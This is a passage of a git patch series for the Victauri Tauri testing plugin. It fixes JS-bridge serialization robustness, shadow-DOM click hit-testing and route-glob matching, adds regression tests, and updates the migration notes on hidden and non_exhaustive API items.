frames. if capture && !frames.is_empty() { - let cols = params - .cols - .unwrap_or_else(|| crate::filmstrip::default_cols(frames.len())); - if let Some((rgba, w, h)) = - crate::filmstrip::compose(&frames, cols, 4, [20, 20, 20, 255]) - { - match crate::screenshot::encode_png(w, h, &rgba) { - Ok(png) => { - use base64::Engine; - let b64 = base64::engine::general_purpose::STANDARD.encode(&png); - meta["filmstrip"] = serde_json::json!({ - "cols": cols, - "frame_count": frames.len(), - "width": w, - "height": h, - "manifest": manifest, - }); - return CallToolResult::success(vec![ - ContentBlock::image(b64, "image/png"), - ContentBlock::text(meta.to_string()), - ]); - } - Err(e) => return tool_error(format!("filmstrip encode failed: {e}")), + let cols = cols_for(frames.len()); + let (rgba, w, h) = + match crate::filmstrip::compose(&frames, cols, FILMSTRIP_GAP, [20, 20, 20, 255]) { + Ok(sheet) => sheet, + Err(e) => return tool_error(format!("filmstrip compose failed: {e}")), + }; + drop(frames); + match crate::screenshot::encode_png(w, h, &rgba) { + Ok(png) => { + use base64::Engine; + let b64 = base64::engine::general_purpose::STANDARD.encode(&png); + meta["captured"] = serde_json::json!(true); + meta["filmstrip"] = serde_json::json!({ + "cols": cols, + "frame_count": manifest.len(), + "width": w, + "height": h, + "manifest": manifest, + }); + return CallToolResult::success(vec![ + ContentBlock::image(b64, "image/png"), + ContentBlock::text(meta.to_string()), + ]); } + Err(e) => return tool_error(format!("filmstrip encode failed: {e}")), } } json_result(&meta) } + /// One native capture of the (frozen) scrub target window, as a filmstrip frame. + async fn capture_scrub_frame( + &self, + label: Option<&str>, + ) -> Result { + let handle = self + .bridge + .get_native_handle(label) + .map_err(|e| format!("no native window handle: {e}"))?; + let (rgba, w, h) = crate::screenshot::capture_window_raw(handle) + .await + .map_err(|e| format!("window capture failed: {e}"))?; + crate::filmstrip::Frame::new(rgba, w, h) + .ok_or_else(|| format!("window capture returned a malformed {w}x{h} frame")) + } + #[tool( description = "Application logs and monitoring. Actions: console (captured console.log/warn/error), network (intercepted fetch/XHR), ipc (IPC call log — set wait_for_capture=true to await response capture up to 500ms), navigation (URL change history), dialogs (alert/confirm/prompt events), events (combined event stream), slow_ipc (find slow IPC calls), clear (DELETES the captured IPC + network logs — use for per-test isolation).", annotations( @@ -8736,6 +8800,40 @@ mod command_policy_dispatch_tests { assert_eq!(added(&bridge), 1); } + /// R5-ANIM1: `animation scrub capture=true` reported `"captured": true` with no filmstrip + /// when no frame could be captured (here: no native window handle), hiding the failure. + #[tokio::test] + async fn animation_scrub_never_claims_a_capture_it_did_not_make() { + let state = eval_state_with_timeout(2_000); + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + bridge.answer_evals_with(&ok_envelope( + &json!({"prepared": true, "duration": 100, "anim_count": 1, "t": 0}), + )); + let h = VictauriMcpHandler::new(state, Arc::new(bridge)); + let r = call( + &h, + "animation", + json!({"action": "scrub", "selector": "#toast", "points": 2, "capture": true}), + ) + .await; + let text = result_text(&r); + assert_ne!( + r.is_error, + Some(true), + "the geometry curve is still returned: {text}" + ); + let v: serde_json::Value = serde_json::from_str(&text).unwrap(); + assert_eq!(v["captured"], false, "{v}"); + assert!(v.get("filmstrip").is_none(), "{v}"); + assert!( + v["capture_error"] + .as_str() + .is_some_and(|e| e.contains("no handle")), + "the capture failure must be surfaced: {v}" + ); + assert_eq!(v["curve"].as_array().map(Vec::len), Some(2), "{v}"); + } + /// The eval envelope for a page result `value`. fn ok_envelope(value: &serde_json::Value) -> String { json!({"__victauri_ok": value, "__victauri_type": "object"}).to_string() From a816d89281267f2608988f62a63a42212797baa2 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:01:36 +1000 Subject: [PATCH 118/167] fix(bridge): always deliver an eval outcome when the page breaks toJSON (R5-JS2) A page with a throwing Object.prototype.toJSON (getter or method) made every eval hang until the timeout: _evalSettle marked the eval done, then serialized an object, and its error fallback was itself an object that threw again, so no outcome was ever sent. The callback args ({id, result}) were serialized by Tauri with the page's JSON.stringify too, so even a string body never arrived, and neither did the liveness probe's answer. - Callback args (eval outcomes, parse check, ready signal, probe) are null-prototype objects holding only string primitives, which JSON.stringify serializes without consulting any toJSON. - Outcome envelopes are assembled as strings around pristine-serialized parts; only the eval's own result value is serialized as an object, and a failure there is reported as __victauri_unserializable. A final fallback guarantees a string body once the eval is marked done. Test: bridge_r5_tests r5_js2 (fails before: nothing delivered, not even the probe; the wrapper's promise rejected with "nope"). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 83 ++++++++---- .../victauri-plugin/tests/bridge_r5_tests.rs | 121 ++++++++++++++++++ 2 files changed, 180 insertions(+), 24 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index b7285fde..e77b7349 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -91,7 +91,9 @@ fn js_literal(s: &str) -> String { } /// The pre-eval liveness probe: answers `"probe_ok:"` (just `"probe_ok"` without a -/// bridge). The id follows `id:` with no space, unlike the wrapper's `id: `. +/// bridge). The id follows `id:` with no space, unlike the wrapper's `id: `. The callback args +/// have no prototype, so a page's `Object.prototype.toJSON` cannot break their serialization +/// (R5-JS2). #[doc(hidden)] #[must_use] pub fn eval_probe_script(id: &str) -> String { @@ -99,7 +101,7 @@ pub fn eval_probe_script(id: &str) -> String { "(async()=>{{var v=window.__VICTAURI__;\ var n=(v&&typeof v._pageNonce==='string')?':'+v._pageNonce:'';\ await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback',\ - {{id:{},result:'\"probe_ok'+n+'\"'}});}})();", + Object.assign(Object.create(null),{{id:{},result:'\"probe_ok'+n+'\"'}}));}})();", js_literal(id) ) } @@ -561,12 +563,58 @@ const INIT_SCRIPT_BODY: &str = r#" evalState.delete(id); evalDone.add(id); } + // `body` is always a JSON string. The args object has NO prototype: Tauri serializes it with + // the page's JSON.stringify, which consults `toJSON` up the prototype chain, so a page that + // planted a throwing `Object.prototype.toJSON` blocked every outcome (R5-JS2). Only string + // primitives are inside, and JSON.stringify never looks up `toJSON` on a primitive. function evalCallback(id, body) { 'use strict'; try { - return window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { id: id, result: body }); + var args = OBJ_CREATE(null); + args.id = id; + args.result = body; + return window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', args); } catch (e) { return null; } } + // A JSON string literal for `s`, built without serializing any object (see evalCallback). + function jsonStringLiteral(s) { + 'use strict'; + try { return NATIVE_STRINGIFY(typeof s === 'string' ? s : toStringExact(s)); } + catch (e) { return '"(unprintable)"'; } + } + function errorText(e) { + 'use strict'; + try { + var m = e && e.message; + return typeof m === 'string' ? m : toStringExact(e); + } catch (x) { return 'unknown error'; } + } + // The callback body for an eval outcome. Every envelope is assembled as a string around + // pristine-serialized parts, so nothing but the eval's own result value is serialized as an + // object — a page that breaks object serialization cannot also break the error report. + function evalOutcomeBody(payload) { + 'use strict'; + var type = payload && payload.__victauri_type; + if (type === 'value') { + // The code RAN; a result JSON cannot carry (circular, BigInt, a function, a + // throwing toJSON) is reported as exactly that, never as a JavaScript error. + var value = payload.__victauri_ok; + var json; + try { json = PRISTINE_STRINGIFY(value); } + catch (e) { return '{"__victauri_unserializable":' + jsonStringLiteral(errorText(e)) + '}'; } + if (json === undefined) { + return '{"__victauri_unserializable":' + jsonStringLiteral('the result is a ' + typeof value + ', which JSON cannot represent') + '}'; + } + return '{"__victauri_ok":' + json + ',"__victauri_type":"value"}'; + } + if (type === 'null' || type === 'undefined') { + return '{"__victauri_ok":null,"__victauri_type":"' + type + '"}'; + } + if (payload && hasOwn(payload, '__victauri_err')) { + return '{"__victauri_err":' + jsonStringLiteral(payload.__victauri_err) + '}'; + } + return PRISTINE_STRINGIFY(payload); + } // The bridge's logs are handed out as per-entry COPIES. Returning the live internal arrays // (as the getters used to) let page script push forged entries (a fake successful IPC call @@ -740,7 +788,7 @@ const INIT_SCRIPT_BODY: &str = r#" id = '' + id; // not String(id): page script can replace window.String if (nonce !== PAGE_NONCE || evalState.has(id) || evalDone.has(id)) return null; evalMarkDone(id); - return evalCallback(id, PRISTINE_STRINGIFY({ __victauri_not_run: 'the code did not begin executing — this almost always means a syntax/parse error in the submitted code' })); + return evalCallback(id, '{"__victauri_not_run":' + jsonStringLiteral('the code did not begin executing — this almost always means a syntax/parse error in the submitted code') + '}'); }, // Deliver an eval's outcome exactly once (a later settle for the same id is ignored). _evalSettle: function(id, payload) { @@ -748,21 +796,13 @@ const INIT_SCRIPT_BODY: &str = r#" id = '' + id; // not String(id): page script can replace window.String if (evalDone.has(id)) return null; evalMarkDone(id); + // Marked done first, so an outcome MUST be sent from here on: nothing below may + // throw past this point without one (R5-JS2). var body; - if (payload && payload.__victauri_type === 'value') { - // The code RAN; a result JSON cannot carry (circular, BigInt, a function) is - // reported as exactly that, never as a JavaScript error. - var json; - try { json = PRISTINE_STRINGIFY(payload.__victauri_ok); } - catch (e) { json = null; body = PRISTINE_STRINGIFY({ __victauri_unserializable: String((e && e.message) || e) }); } - if (body === undefined) { - body = json === undefined - ? PRISTINE_STRINGIFY({ __victauri_unserializable: 'the result is a ' + typeof payload.__victauri_ok + ', which JSON cannot represent' }) - : '{"__victauri_ok":' + json + ',"__victauri_type":"value"}'; - } - } else { - try { body = PRISTINE_STRINGIFY(payload); } - catch (e) { body = PRISTINE_STRINGIFY({ __victauri_err: String((e && e.message) || e) }); } + try { body = evalOutcomeBody(payload); } + catch (e) { body = undefined; } + if (typeof body !== 'string') { + body = '{"__victauri_err":' + jsonStringLiteral('the eval outcome could not be serialized') + '}'; } return evalCallback(id, body); }, @@ -3091,12 +3131,7 @@ const INIT_SCRIPT_BODY: &str = r#" // load by its nonce. A page restored from the back/forward cache re-runs no init script, so // it re-announces itself: an eval armed in the page it replaced must not wait out its timeout. function signalReady() { - try { - window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { - id: '__victauri_bridge_ready__', - result: PAGE_NONCE - }); - } catch(e) {} + evalCallback('__victauri_bridge_ready__', PAGE_NONCE); } window.addEventListener('pageshow', function(e) { if (e && e.isTrusted === true && e.persisted) signalReady(); }); signalReady(); diff --git a/crates/victauri-plugin/tests/bridge_r5_tests.rs b/crates/victauri-plugin/tests/bridge_r5_tests.rs index a3ca1d1a..13e90f34 100644 --- a/crates/victauri-plugin/tests/bridge_r5_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5_tests.rs @@ -222,3 +222,124 @@ fn r5_js1_ipc_log_reads_are_not_proportional_to_total_body_bytes() { "waitForIpcComplete took {wait:.0} ms with the last call complete (must not copy the log): {r}" ); } + +// ── R5-JS2: a page's throwing toJSON cannot make every eval hang ───────────── + +/// A Tauri-like `invoke` stub: serializes the args with the page's (global, looked up at call +/// time) `JSON.stringify`, as Tauri's IPC transport does, and records the delivered result +/// per id. Plus the real eval scripts as `S.` and `run(script)`. +fn eval_prelude(scripts: &[(&str, String)]) -> String { + let mut js = String::from( + r" + var delivered = {}; + window.__TAURI_INTERNALS__ = { invoke: function(cmd, args) { + var wire = JSON.stringify(args); + var a = JSON.parse(wire); + (delivered[a.id] = delivered[a.id] || []).push(a.result); + return Promise.resolve(null); + } }; + // A script's own promise rejecting (the wrapper escaping with an error) is recorded, + // not left unhandled (which would abort the runner). + var escaped = []; + function run(s) { + try { + var p = (0, eval)(s); + if (p && typeof p.then === 'function') p.then(null, function(e) { escaped.push('' + (e && e.message)); }); + return null; + } catch (e) { return e.name; } + } + function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); } + var S = {}; + ", + ); + for (name, script) in scripts { + js.push_str(&format!( + "S[{}] = {};\n", + serde_json::to_string(name).unwrap(), + serde_json::to_string(script).unwrap() + )); + } + js +} + +/// Page script with a throwing `Object.prototype.toJSON` (a getter, or a method) broke every +/// serialization the eval plumbing did: `_evalSettle` marked the eval done, then its error +/// fallback — itself an object — threw again, so NO outcome was ever sent and every eval (and +/// the liveness probe) hung until the timeout. An outcome must always be delivered. +#[test] +fn r5_js2_throwing_to_json_cannot_suppress_eval_outcomes() { + use victauri_plugin::js_bridge::{eval_probe_script, eval_wrapper_script}; + let prelude = eval_prelude(&[ + ("probe", eval_probe_script("id-p")), + ("obj", eval_wrapper_script("id-obj", "return {a: 1}")), + ("str", eval_wrapper_script("id-str", "return 'hello'")), + ( + "thr", + eval_wrapper_script("id-thr", "throw new Error('boom')"), + ), + ("undef", eval_wrapper_script("id-undef", "return undefined")), + ]); + let body = r" + run(S.probe); run(S.obj); run(S.str); run(S.thr); run(S.undef); + await sleep(30); + delete Object.prototype.toJSON; // so the runner can report the result + return { delivered: delivered, escaped: escaped }; + "; + let getter = format!( + "{prelude}\nObject.defineProperty(Object.prototype, 'toJSON', {{ configurable: true, \ + get: function() {{ throw new Error('nope'); }} }});\n{body}" + ); + let method = format!( + "{prelude}\nObject.prototype.toJSON = function() {{ throw new Error('nope'); }};\n{body}" + ); + let def = def( + None, + vec![ + case("throwing toJSON getter", &getter), + case("throwing toJSON method", &method), + ], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + for i in 0..2 { + let r = result(&results, i); + assert_eq!(r["escaped"], serde_json::json!([]), "[{i}] {r}"); + let v = &r["delivered"]; + let one = |id: &str| -> serde_json::Value { + let arr = v[id] + .as_array() + .unwrap_or_else(|| panic!("[{i}] no outcome delivered for {id}: {v}")); + assert_eq!(arr.len(), 1, "[{i}] {id}: {v}"); + serde_json::from_str(arr[0].as_str().unwrap()) + .unwrap_or_else(|e| panic!("[{i}] {id} body is not JSON ({e}): {v}")) + }; + assert!( + one("id-p").as_str().unwrap().starts_with("probe_ok"), + "[{i}] {v}" + ); + assert_eq!( + one("id-str"), + serde_json::json!({ "__victauri_ok": "hello", "__victauri_type": "value" }), + "[{i}]" + ); + assert_eq!( + one("id-undef"), + serde_json::json!({ "__victauri_ok": null, "__victauri_type": "undefined" }), + "[{i}]" + ); + assert_eq!( + one("id-thr"), + serde_json::json!({ "__victauri_err": "boom" }), + "[{i}]" + ); + let obj = one("id-obj"); + assert!( + obj["__victauri_unserializable"] + .as_str() + .is_some_and(|m| m.contains("nope")), + "[{i}] an object result the page made unserializable is reported as such: {obj}" + ); + } +} From b4c388906247e2fdbba6f4077b7f7b1b38b79405 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:04:57 +1000 Subject: [PATCH 119/167] fix(bridge): slotted content no longer "covers" its shadow slot host (R5-JS3) composedContains (actionability) and the trusted-click probe's __within walked parentNode/host only. For a shadow the engine's hit test at the button's centre returns the slotted light-DOM , whose parentNode chain never reaches the button, so a click was refused as "covered by span#lbl" (and a trusted click as "covered at its center point"). Both walks now follow the flat tree: assignedSlot first, then parentNode, then the shadow host. An unrelated element still covers. Test: bridge_r5_tests r5_js3 (fails before: bridge click "covered by span#lbl", then with only the bridge fixed the probe still refused). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 7 +- crates/victauri-plugin/src/mcp/helpers.rs | 5 +- .../victauri-plugin/tests/bridge_r5_tests.rs | 81 +++++++++++++++++++ 3 files changed, 89 insertions(+), 4 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index e77b7349..c382bc6d 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -315,9 +315,12 @@ const INIT_SCRIPT_BODY: &str = r#" } return hit; } - // `a` contains `b` across shadow boundaries (the composed tree), or is `b`. + // `a` contains `b` in the flat tree (what is rendered and hit-tested), or is `b`: across + // shadow boundaries (host), and from slotted light-DOM content to the it renders in + // (assignedSlot). Without the slot step, a click on `` in a shadow root with light-DOM content slotted into it: +/// the real engine's hit test at the button's centre returns the slotted ``, which is a +/// flat-tree descendant of the button but not a DOM (parentNode/host) one. +const SLOT_SETUP: &str = r#" + document.body.innerHTML = '
    Save
    x'; + var sr = document.getElementById('host').attachShadow({ mode: 'open' }); + sr.innerHTML = ''; + window.__clicked = 0; + sr.getElementById('inner').addEventListener('click', function() { window.__clicked++; }); + window.__hit = 'lbl'; + document.elementFromPoint = function() { return document.getElementById(window.__hit); }; +"#; + +/// `composedContains` (bridge actionability) and `__within` (trusted-click probe) walked +/// parentNode/host only, so a click on a shadow button whose centre lands on slotted text was +/// refused as "covered by span#lbl". A node reachable through the flat tree (assignedSlot) +/// is part of the target; an unrelated element still covers it. +#[test] +fn r5_js3_slotted_content_does_not_cover_its_slot_host() { + let probe = + victauri_plugin::mcp::trusted_click_probe_js("__VREF__").replace("\"__VREF__\"", "__vref"); + let find = "var __vref = window.__VICTAURI__.findElements({ css: 'button' })[0].ref_id;"; + let def = def( + Some(SLOT_SETUP.to_string()), + vec![ + case( + "bridge click through slotted content", + &format!( + "{find}\nvar r = await window.__VICTAURI__.click(__vref, 300);\n\ + return {{ r: r, clicked: window.__clicked }};" + ), + ), + case( + "bridge click refused when an unrelated element covers", + &format!( + "{find}\nwindow.__hit = 'other';\n\ + var r = await window.__VICTAURI__.click(__vref, 300);\n\ + return {{ r: r, clicked: window.__clicked }};" + ), + ), + case( + "trusted-click probe through slotted content", + &format!("{find}\nreturn (function() {{ {probe} }})();"), + ), + case( + "trusted-click probe refused when an unrelated element covers", + &format!("{find}\nwindow.__hit = 'other';\nreturn (function() {{ {probe} }})();"), + ), + ], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let ok = result(&results, 0); + assert_eq!(ok["r"]["ok"], true, "{ok}"); + assert_eq!(ok["clicked"], 1, "{ok}"); + let covered = result(&results, 1); + assert_eq!(covered["r"]["ok"], false, "{covered}"); + assert!( + covered["r"]["error"] + .as_str() + .unwrap() + .contains("covered by span#other"), + "{covered}" + ); + assert_eq!(covered["clicked"], 0, "{covered}"); + let point = result(&results, 2); + assert!( + point["x"].is_number() && point["y"].is_number(), + "trusted-click probe must return a click point: {point}" + ); + let refused = result(&results, 3); + assert!( + refused["error"].as_str().unwrap().contains("covered"), + "{refused}" + ); +} From 198d2344e745418a61c1a7b40b297c563db5d2c0 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:06:33 +1000 Subject: [PATCH 120/167] docs(migration): list every item 0.9.0 hid, removed or made non_exhaustive From `cargo semver-checks check-release --release-type minor` against 0.8.8 (core, plugin, test): the victauri-core middleware and security modules, acquire_lock/read/write, the plugin's privacy *_privacy_config helpers and database/js_bridge/screencast items were hidden without a MIGRATION entry, and several non_exhaustive types were only implied by "and similar". CONTRIBUTING.md no longer presents the hidden acquire_* helpers as API. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 6 ++++++ CONTRIBUTING.md | 2 +- MIGRATION.md | 45 +++++++++++++++++++++++++++++++++++++++------ 3 files changed, 46 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9e3446ab..7b2c87c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -479,6 +479,12 @@ The remainder of this entry is the first (full-surface) audit round, merged in # corrected: the animation scrub/sweep helpers (`scrubPrepare`, `scrubSeek`, `scrubRestore`, `installSweepRecorder`, `readSweep`) are on the public `window.__VICTAURI__`, not behind the per-process key as round 3 said. +- MIGRATION.md did not list most of the API this release hid: all of `victauri_core::middleware` + and `victauri_core::security`, `acquire_lock`/`acquire_read`/`acquire_write`, the plugin's + `privacy::{strict,observe,test}_privacy_config` and several `database` / `js_bridge` / + `screencast` items. It now lists every removed, hidden and newly `#[non_exhaustive]` item that + `cargo semver-checks --release-type minor` reports against 0.8.8 for core, plugin and test. + CONTRIBUTING.md no longer presents the hidden `acquire_*` helpers as API. ## [0.8.8] - 2026-08-12 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3b275e0d..2026642e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -34,7 +34,7 @@ All checks (test, clippy, fmt) must pass. CI runs them on Linux, Windows, and ma - All value-returning public functions must have `#[must_use]` - Prefer `let...else` over match for single-pattern extraction with early return - Prefer `map_or` over `map().unwrap_or()` -- No `unwrap()` on mutexes or RwLocks — use `victauri_core::acquire_lock`, `acquire_read`, or `acquire_write` helpers for poisoning recovery with diagnostic logging +- No `unwrap()` on mutexes or RwLocks — recover from poisoning instead (`.lock().unwrap_or_else(std::sync::PoisonError::into_inner)`, or the workspace-internal `victauri_core::acquire_lock` / `acquire_read` / `acquire_write`, which also log). Since 0.9.0 those `acquire_*` helpers are `#[doc(hidden)]` plumbing shared by the Victauri crates, not public API: don't document or recommend them for use outside this workspace - No `unreachable!()` in match arms that could be reached by malformed input - `unsafe_code = "deny"` is enforced workspace-wide — use targeted `#[allow(unsafe_code)]` with `// SAFETY:` comments for FFI diff --git a/MIGRATION.md b/MIGRATION.md index 8bb6a8e9..01a104ad 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -27,12 +27,45 @@ Exhaustive `match`es on the now-`#[non_exhaustive]` enums (`InteractionKind`, `C `FaultType`, `JsonShape`, `PrivacyProfile`, `ThresholdPreset`) need a `_ =>` arm, and patterns on `AppEvent`'s struct variants need `..`. -**No longer public API:** `victauri_plugin::filmstrip`; the `js_bridge`, `screencast`, `database` -modules, `mcp::build_app_stateful` and a few helpers are `#[doc(hidden)]` (reachable for tests, not -covered by semver — `Screencast::start`/`stop` also changed signature). - -**Types you can read but not build.** Some newly `#[non_exhaustive]` output types have no public -constructor because nothing outside Victauri should create them: `DomSnapshot`, `DomElement`, +**No longer public API.** Removed: `victauri_plugin::filmstrip` (`Frame`, `compose`, +`default_cols`). Everything else below is now `#[doc(hidden)]`: still reachable (Victauri's own +crates and tests use it) but not covered by semver, so it can change in any release. The full list, +from `cargo semver-checks check-release --release-type minor` against 0.8.8: + +- `victauri-core`: the `middleware` module (`require_auth`, `rate_limit`, `origin_guard`, + `dns_rebinding_guard`, `security_headers`, `default_rate_limiter`, `AuthState`), the `security` + module (`generate_token`, `constant_time_eq`, `is_localhost_host`, `is_allowed_origin`, + `RateLimiter`, `DEFAULT_RATE_LIMIT`), and `acquire_lock` / `acquire_read` / `acquire_write`. + These were plumbing for the plugin/CLI; an app that used them should copy what it needs + (poison recovery is `.lock().unwrap_or_else(std::sync::PoisonError::into_inner)`). +- `victauri-plugin`: `privacy::{strict_privacy_config, observe_privacy_config, + test_privacy_config}` (use `VictauriBuilder::privacy_profile(PrivacyProfile::Observe | Test)` or + `.strict_privacy_mode()`); `js_bridge::{init_script, BridgeCapacities}`; + `database::{discover_databases, classify_databases, select_app_database, is_webview_internal, + query, DbCandidate}`; `screencast::{Screencast, TraceFrame}` (`Screencast::start`/`stop` also + changed signature); `mcp::build_app_stateful`; and the recording-drain plumbing listed in + CHANGELOG round 4. + +**Every type that became `#[non_exhaustive]`** (so a struct literal or an exhaustive `match` +outside its crate no longer compiles): + +- `victauri-core` structs: `IpcCall`, `WindowState`, `DomSnapshot`, `DomElement`, `ElementBounds`, + `CommandInfo`, `CommandArg`, `ScoredCommand`, `RecordedSession`, `RecordedEvent`, + `StateCheckpoint`, `VerificationResult`, `Divergence`, `MemoryDelta`, `RefHandle`, + `GhostCommand`, `GhostCommandReport`, `IpcIntegrityReport`, `StaleCall`, `ErrorCall`, + `SemanticAssertion`, `AssertionResult`; enums `InteractionKind`, `CodegenStyle`; and the struct + variants of `AppEvent` (`StateChange`, `DomMutation`, `DomInteraction`, `WindowEvent`, + `Console`). +- `victauri-plugin` structs: `VictauriState`, `PrivacyConfig`, `CommandTimingStats`, + `FaultConfig`, `ContractBaseline`, `ContractDrift`, `TypeChange`, `StartupPhase`, + `CapturedTauriEvent`, `TrackedTaskInfo`, `ChildProcessInfo`; enums `FaultType`, `JsonShape`, + `PrivacyProfile`. +- `victauri-test` structs: `PluginInfo`, `MemoryStats`, `SmokeReport`, `SmokeCheckResult`, + `CheckResult`, `VerifyReport`, `CoverageReport`, `CommandCalls`, `VisualDiff`, `LocatorMatch`, + `Bounds`; enum `ThresholdPreset`. + +**Types you can read but not build.** Some of these output types have no public constructor +because nothing outside Victauri should create them: `DomSnapshot`, `DomElement`, `VerificationResult`, `StateCheckpoint`, `SmokeReport`, `CoverageReport` and similar reports. If a test needs one (e.g. a `StateCheckpoint` for `RecordedSession::new`), deserialize it from JSON with `serde_json::from_value`. From b6244fc35b76e27046488c6fdb365c49432af1eb Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:06:44 +1000 Subject: [PATCH 121/167] fix(bridge): a route glob's `?` matches a literal `?` (R5-JS4) globToRegExp escaped regex metacharacters but not `?`, so it became a quantifier: `*/api/search?q=*` matched nothing and requests reached the network un-mocked. Route globs have one wildcard, `*`; every other character matches itself. `?` is now escaped; the param doc and the tools reference say so. Test: bridge_r5_tests r5_js4 (fails before: no match for http://localhost:1420/api/search?q=abc). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 6 ++- .../src/mcp/compound_params.rs | 3 +- .../victauri-plugin/tests/bridge_r5_tests.rs | 40 +++++++++++++++++++ docs/src/tools-reference.md | 2 +- 4 files changed, 47 insertions(+), 4 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index c382bc6d..75387984 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -298,9 +298,11 @@ const INIT_SCRIPT_BODY: &str = r#" var routeMatchLog = []; var CAP_ROUTE_MATCHES = 200; - // Convert a glob ("*" wildcard) to a RegExp. Other chars are escaped. + // Convert a glob to a RegExp. `*` (any run of characters) is the only wildcard; every other + // character matches itself — including `?`, which used to slip through unescaped as a regex + // quantifier, so `*/api/search?q=*` matched nothing (R5-JS4). function globToRegExp(glob) { - var re = glob.replace(/[.+^${}()|[\]\\]/g, '\\$&').replace(/\*/g, '.*'); + var re = glob.replace(/[.+?^${}()|[\]\\]/g, '\\$&').replace(/\*/g, '.*'); return new RegExp('^' + re + '$'); } diff --git a/crates/victauri-plugin/src/mcp/compound_params.rs b/crates/victauri-plugin/src/mcp/compound_params.rs index bfeafe97..4e69afa6 100644 --- a/crates/victauri-plugin/src/mcp/compound_params.rs +++ b/crates/victauri-plugin/src/mcp/compound_params.rs @@ -598,7 +598,8 @@ impl fmt::Display for RouteAction { pub enum RouteMatchType { /// URL contains the pattern (default). Substring, - /// Glob with `*` wildcards. + /// Glob: `*` matches any run of characters; every other character (including `?`) + /// matches itself. Glob, /// JavaScript regular expression. Regex, diff --git a/crates/victauri-plugin/tests/bridge_r5_tests.rs b/crates/victauri-plugin/tests/bridge_r5_tests.rs index 48b532b8..593a57b5 100644 --- a/crates/victauri-plugin/tests/bridge_r5_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5_tests.rs @@ -424,3 +424,43 @@ fn r5_js3_slotted_content_does_not_cover_its_slot_host() { "{refused}" ); } + +// ── R5-JS4: a route glob's `?` is a literal character ───────────────────────── + +/// Route globs have one wildcard, `*`; every other character matches itself. `?` was left +/// unescaped, so it became a regex quantifier and `*/api/search?q=*` matched nothing. +#[test] +fn r5_js4_route_glob_matches_a_literal_question_mark() { + let def = def( + None, + vec![case( + "glob with ?", + r" + var V = window.__VICTAURI__; + V.addRoute({ pattern: '*/api/search?q=*', match_type: 'glob', action: 'block' }); + async function blocked(u) { + try { await fetch(u); return false; } catch (e) { return String(e.message).indexOf('blocked by route') !== -1; } + } + return { + query: await blocked('http://localhost:1420/api/search?q=abc'), + no_query: await blocked('http://localhost:1420/api/searchXq=abc'), + other: await blocked('http://localhost:1420/api/items?page=2'), + matches: V.getRouteMatches().map(function(m) { return m.url; }), + }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!(r["query"], true, "`?` must match a literal '?': {r}"); + assert_eq!(r["no_query"], false, "`?` is not a wildcard: {r}"); + assert_eq!(r["other"], false, "{r}"); + assert_eq!( + r["matches"], + serde_json::json!(["http://localhost:1420/api/search?q=abc"]), + "{r}" + ); +} diff --git a/docs/src/tools-reference.md b/docs/src/tools-reference.md index e4f1c3e2..dd4476d6 100644 --- a/docs/src/tools-reference.md +++ b/docs/src/tools-reference.md @@ -673,7 +673,7 @@ page-scoped (cleared on reload). | Name | Type | Required | Description | |------|------|----------|-------------| | `pattern` | string | yes | URL pattern to match | -| `match_type` | string | no | `substring` (default), `glob`, `regex`, `exact` | +| `match_type` | string | no | `substring` (default), `glob` (`*` matches any run of characters; every other character, including `?`, is literal), `regex`, `exact` | | `method` | string | no | Restrict to one HTTP method | | `behavior` | string | no | `block` (abort), `fulfill` (mock — default), `delay` | | `status` | number | no | Mock response status (fulfill, default 200) | From c0df9eed47d2f4380c22be020c54604e75447e5f Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 00:16:24 +1000 Subject: [PATCH 122/167] fix(bridge): cap uncaught-error messages, pristine addRoute parse, logs limit 0 (R5-JS5) - `error` / `unhandledrejection` capture stored whole messages (a 100k message went in whole) while console messages are capped at 4096 chars: both now go through the same cap + control-char strip as console capture, and a reason whose String() throws no longer escapes the listener. - addRoute 